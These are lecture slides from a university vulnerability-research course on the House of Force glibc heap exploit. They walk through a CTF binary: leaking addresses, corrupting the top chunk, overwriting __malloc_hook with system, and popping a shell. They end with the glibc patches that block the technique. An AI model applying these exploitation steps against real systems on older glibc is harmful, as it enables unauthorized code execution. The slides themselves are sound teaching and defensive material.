FLORIDA TECH

LSN 15 : House of Force

Vulnerability Research

Objectives

Lesson #15: House of Force

- Examine the House of Force technique, used to abuse the dynamic memory into an arbitrary write primitive.
- Explore methods for escalating the House of Force arbitrary write into an an arbitrary execution primitive.
- Discuss exploit mitigation strategies implemented in Glibc 2.28 and 2.34 that prevent the House of Force.

FLORIDA TECH

References

- Phantasmal Phantasmagoria, Malloc Maleficarum [Link]
- Blackngel, Malloc Des-Maleficarum [Link]
- How2Heap: House of Force Example [Link]
- Top Chunk Size Integrity Check Patch [Link]
- Malloc Hooks Removed Patch [Link]

FLORIDA TECH

The House of Force: History

- In 2005, the hacker Phantasmal Phantasmagoria published *The Malloc Maleficarum: Glibc Malloc Exploitation Techniques.*
- The text proposed a series of six theoretical exploit techniques against the Glibc Malloc implementation.
- The name is a word play on The Malleus Maleficarum (Hammer of Witches), which was a German Catholic text that argued for making sorcery a crime.
- The hacker blackngel followed up in 2009 with the Malloc Des-Maleficarum, which delivered practical implementations of the proposed attack techniques.

FLORIDA TECH

The House of Force: Overview

1. Overwrite the Top Chunk
2. Request x bytes, where *target = wilderness +x*
3. Next allocation from the top chunk will deliver arbitrary write at *target*

Sample Binary: Medal

- Challenge I wrote for the 2022 US Cyber Games Open CTF
- Exploitable via House of Force technique

```
------------------------------------------------------------
~ US Cyber Games Team Motto Suggestion Engine v313.37
------------------------------------------------------------

Team size >>> 20
Team motto >>> AAAA
<<< Thank you for your suggestion<<< Team data stored securely at : 0x6262a0
<<< Random identifier for motto : 0x7f177cd13630
Team size >>>
```

```
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

FLORIDA TECH

Patching Binary to Libc-2.27

- The binary comes with an older version of Libc-2.27
- We will use pwninit to patch the binary to use this legacy version

```
└─# pwninit --bin medal --libc libc-2.27-2.so
bin: medal
libc: libc-2.27-2.so
ld: ./ld-2.27.so

setting medal executable
setting ./ld-2.27.so executable
symlinking libc.so.6 -> libc-2.27-2.so
copying medal to medal_patched
running patchelf on medal_patched
```

FLORIDA TECH

Identifying Leaks

- Right away we notice that it appears to leak two addresses
- The 4-byte address looks like a heap address
- The 6-byte address looks like a libc or stack address
- We'll repeat in GDB and identify the source of the leaks

```
--------------------------------------------------------------------------------
~ US Cyber Games Team Motto Suggestion Engine v313.37
--------------------------------------------------------------------------------
Team size >>> 20
Team motto >>> A
<<< Thank you for your suggestion
<<< Team data stored securely at : 0x1f01260
<<< Random identifier for motto : 0x7fb71c53e390
Team size >>>
```

FLORIDA TECH

Identifying Leaks

```
pwndbg> xinfo 0x406260
Extended information for virtual address 0x406260:

  Containing mapping:
          0x406000           0x427000 rw-p    21000      0 [heap]

  Offset information:
         Mapped Area 0x406260 = 0x406000 + 0x260
pwndbg> xinfo 0x7ffff7a26390
Extended information for virtual address 0x7ffff7a26390:

  Containing mapping:
    0x7ffff79e2000     0x7ffff7bc9000 r-xp   1e7000      0 /root/workspace/hof-demo/libc-2.27-2.so

  Offset information:
         Mapped Area 0x7ffff7a26390 = 0x7ffff79e2000 + 0x44390
         File (Base) 0x7ffff7a26390 = 0x7ffff79e2000 + 0x44390
      File (Segment) 0x7ffff7a26390 = 0x7ffff79e2000 + 0x44390
         File (Disk) 0x7ffff7a26390 = /root/workspace/hof-demo/libc-2.27-2.so + 0x44390

 Containing ELF sections:
               .text 0x7ffff7a26390 = 0x7ffff7a03360 + 0x23030
pwndbg> x/1i 0x7ffff7a26390
   0x7ffff7a26390 <rand>:        sub    rsp,0x8
```

FLORIDA TECH

Corrupting the Top Chunk

- Without much effort, we see we can corrupt the top chunk size field by providing more data than we specify for the size
- We remember last lesson that this may present an issue since Libc > 2.28 has a top chunk size field integrity check.
- But this is Libc 2.27, so that integrity check isn't present!

```
Team size >>> 20
Team motto >>> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
...

0x406250        0x0000000000000000      0x0000000000000021      ........!.......
0x406260        0x6161616261616161      0x6161616461616163      aaaabaaacaaadaaa
0x406270        0x6161616661616165      0x6161616861616167      eaaafaaagaaahaaa        <-- Top chunk
```

FLORIDA TECH

What is the Top Chunk Again?

- The top chunk size field dictates how much memory is available in the heap for allocation

- By overwriting the top chunk size field with a larger value, we can create a primitive to arbitrarily write to anywhere in the program's memory map

```
Team size >>> 20
Team motto >>> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
...

0x406250        0x0000000000000000      0x0000000000000021      ........!.......
0x406260        0x6161616261616161      0x6161616461616163      aaaabaaacaaadaaa
0x406270        0x6161616661616165      0x6161616861616167      eaaafaaagaaahaaa        <-- Top chunk
```

FLORIDA TECH

Examining Programs Memory Map

```
TLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
            Start                End Perm     Size Offset File
          0x3ff000           0x400000 rw-p     1000      0 /root/workspace/hof-demo/medal_patched
          0x400000           0x401000 r--p     1000   1000 /root/workspace/hof-demo/medal_patched
          0x401000           0x402000 r-xp     1000   2000 /root/workspace/hof-demo/medal_patched
          0x402000           0x404000 r--p     2000   3000 /root/workspace/hof-demo/medal_patched
          0x404000           0x405000 r--p     1000   4000 /root/workspace/hof-demo/medal_patched
          0x405000           0x406000 rw-p     1000   5000 /root/workspace/hof-demo/medal_patched
          0x406000           0x427000 rw-p    21000      0 [heap]
   0x7ffff79e2000     0x7ffff7bc9000 r-xp   1e7000      0 /root/workspace/hof-demo/libc-2.27-2.so
   0x7ffff7bc9000     0x7ffff7dc9000 ---p   200000 1e7000 /root/workspace/hof-demo/libc-2.27-2.so
   0x7ffff7dc9000     0x7ffff7dcd000 r--p     4000 1e7000 /root/workspace/hof-demo/libc-2.27-2.so
   0x7ffff7dcd000     0x7ffff7dcf000 rw-p     2000 1eb000 /root/workspace/hof-demo/libc-2.27-2.so
   0x7ffff7dcf000     0x7ffff7dd3000 rw-p     4000      0 [anon_7ffff7dcf]
   0x7ffff7dd3000     0x7ffff7dfc000 r-xp    29000      0 /root/workspace/hof-demo/ld-2.27.so
   0x7ffff7ff4000     0x7ffff7ff6000 rw-p     2000      0 [anon_7ffff7ff4]
   0x7ffff7ff6000     0x7ffff7ffa000 r--p     4000      0 [vvar]
   0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000      0 [vdso]
   0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000  29000 /root/workspace/hof-demo/ld-2.27.so
   0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000  2a000 /root/workspace/hof-demo/ld-2.27.so
   0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000      0 [anon_7ffff7ffe]
   0x7ffffffde000     0x7fffffffe000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000      0 [vsyscall]
```

FLORIDA TECH

Examining Programs Memory Map

- Since the heap is adjacent to libc, maybe we can determine a way of leveraging our top_chunk size field overwrite to arbitrarily write to the virtual memory allocated for libc
- But 0x7ffff79e2000 - 0x405000 is a pretty long distance

```
TLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
              Start                End Perm     Size Offset File
            0x3ff000           0x400000 rw-p     1000      0 /root/workspace/hof-demo/medal_patched
            0x400000           0x401000 r--p     1000   1000 /root/workspace/hof-demo/medal_patched
            0x401000           0x402000 r-xp     1000   2000 /root/workspace/hof-demo/medal_patched
            0x402000           0x404000 r--p     2000   3000 /root/workspace/hof-demo/medal_patched
            0x404000           0x405000 r--p     1000   4000 /root/workspace/hof-demo/medal_patched
            0x405000           0x406000 rw-p     1000   5000 /root/workspace/hof-demo/medal_patched
            0x406000           0x427000 rw-p    21000      0 [heap]
     0x7ffff79e2000     0x7ffff7bc9000 r-xp   1e7000      0 /root/workspace/hof-demo/libc-2.27-2.so
```

FLORIDA TECH

Determining Write Target

- Several options for this binary. Two notable examples
  - Overwriting an address in the Global Offset Table
    - Maybe we could make a function point to a one_gadget?
  - Overwriting one of the GNU memory allocation hooks
    - Maybe we could overwrite one of the GNU memory allocation hooks?

- Since we've done plenty of GOT overwrites in the past, lets look at this new option

Gnu Memory Allocation Hooks

- The GNU C Library ~~has~~ had(*) function hooks to modify the behavior of malloc, realloc, and free.

- __malloc_hook
- __realloc_hook
- __free_hook
- __memalign_hook

- As a hook, this means that anytime malloc() is called, __malloc_hook() is also called. This sounds like an outstanding address to overwrite.

(*) The hooks were removed in Glibc 2.34 as a part of a binary hardening strategy.

FLORIDA TECH

Our Exploit Strategy

1. Overwrite the Top Chunk (Corrupt the top chunk to a large value)

2. Request x bytes, where *target = wilderness +x (and target = __malloc_hook)*

3. Next allocation from the top chunk will deliver arbitrary write at __malloc_hook(); where we will write a pointer to system()

4. Call malloc('/bin/sh'), which will trigger system('/bin/sh')

FLORIDA TECH

Corrupt the Top Chunk

- We go ahead and overwrite the top chunk and verify we are successful using pwndbg's top_chunk command

```
[*] Setting Top Chunk Size == 0xfffffffffffffff1
```

```
pwndbg> vis_heap_chunks

0x21e2250       0x0000000000000000      0x0000000000000021      ........!.......
0x21e2260       0x6262626262626262      0x6262626262626262      bbbbbbbbbbbbbbbb
0x21e2270       0x6262626262626262      0xfffffffffffffff1      bbbbbbbb........        <-- Top
chunk

pwndbg> top_chunk
Top chunk | PREV_INUSE
Addr: 0x21e2270
Size: 0xfffffffffffffff1
```

FLORIDA TECH

Request Large Heap Allocation

- Next, we receive our heap and libc leaks, which we use to calculate the arbitrary large allocation, placing the next allocation just before the __malloc_hook.

```
[*] Heap = 0x21e2260
[*] Libc = 0x7fd6c02da000
[*] Setting Top Chunk Addr = __mallock_hook - 0x10
```

```
pwndbg> top_chunk
PREV_INUSE
Addr: 0x7fd6c06c5c20
Size: 0xffff802941b1c641
```

FLORIDA TECH

Overwrite Malloc Hook: Fail

- At this point, we should see a successful overwrite of the __malloc_hook with a call to system(). But we have an epic fail

```
[*] overwriting __malloc_hook with libc.sym.system: 0x7fd6c032942 0
```

```
pwndbg> x/1i *__malloc_hook
   0x7fd6c03294:        Cannot access memory at address 0x7fd6c03294
```

FLORIDA TECH

Scanf

```
[*] overwriting __malloc_hook with libc.sym.system: 0x7fd6c032942 0
```

```
00401430          printf("Team motto >>> ");
0040144b          void var_78;
0040144b          __isoc99_scanf("%100s", &var_78);
0040145e          strcpy(rax_7, &var_78);
0040147d          printf("<<< Thank you for your suggestio…");
```

Byte (Hex Value)	Problematic Methods
Newline \n (0xa)	scanf, gets, getline, fgets
Carriage return \r (0xd)	scanf
Space (0x20)	scanf
Tab \t (0x9)	scanf

FLORIDA TECH

Quitting Time?

FLORIDA TECH

System or Do_System

- Turns out the first 5 bytes of system just verify that rdi does contain a character pointer to a command If its null, system exits; otherwise it jumps to the do_system function.

- We call just replace our overwrite with either system+0x5 or do_system

```
0004f420  4885ff              test    rdi, rdi
0004f423  740b                je      0x4f430

0004f425  e966faffff          jmp     do_system

0004f430  488d3d59491600      lea     rdi, [rel data_1b3d90]  {"exit 0"}
```

FLORIDA TECH

Medal: Shell Party

```
└─# python3 pwn-medal.py BIN=./medal_patched FIX

[*] Setting Top Chunk Size == 0xffffffffffffff1
[*] Leaking Heap, Libc.Address
[*] Heap = 0x1d16260
[*] Libc = 0x7fca5f8fe000
[*] Setting Top Chunk Addr = __mallock_hook - 0x10
[*] overwriting __malloc_hook with libc.sym.system+0x5: 0x7fca5f94d425
[*] Calling malloc("/bin/sh"), which is now system("/bin/sh")
[*] Switching to interactive mode
 $ cat flag.txt
flag{i_sure_wish_it_worked_remotely}
```

FLORIDA TECH

Mitigations: Top Chunk Integrity

- Libc 2.29 introduce the Top Chunk Size Integrity Check Patch [Link], that verified that the top_chunk > size of memory allocated for the heap

```
 victim = av->top;
       size = chunksize (victim);

+      if (__glibc_unlikely (size > av->system_mem))
+        malloc_printerr ("malloc(): corrupted top size");
+
       if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
         {
           remainder_size = size - nb;
```

FLORIDA TECH

Mitigations: Malloc Hook Removed

- Libc 2.34 removed the __malloc_hook [Link] *kinda.* It made them compat-only

```
 Make malloc hooks symbols compat-only so that new applications cannot
link against them and remove the declarations from the API.  Also
remove the unused malloc-hooks.h.
```

FLORIDA TECH

FLORIDA TECH

Thank you.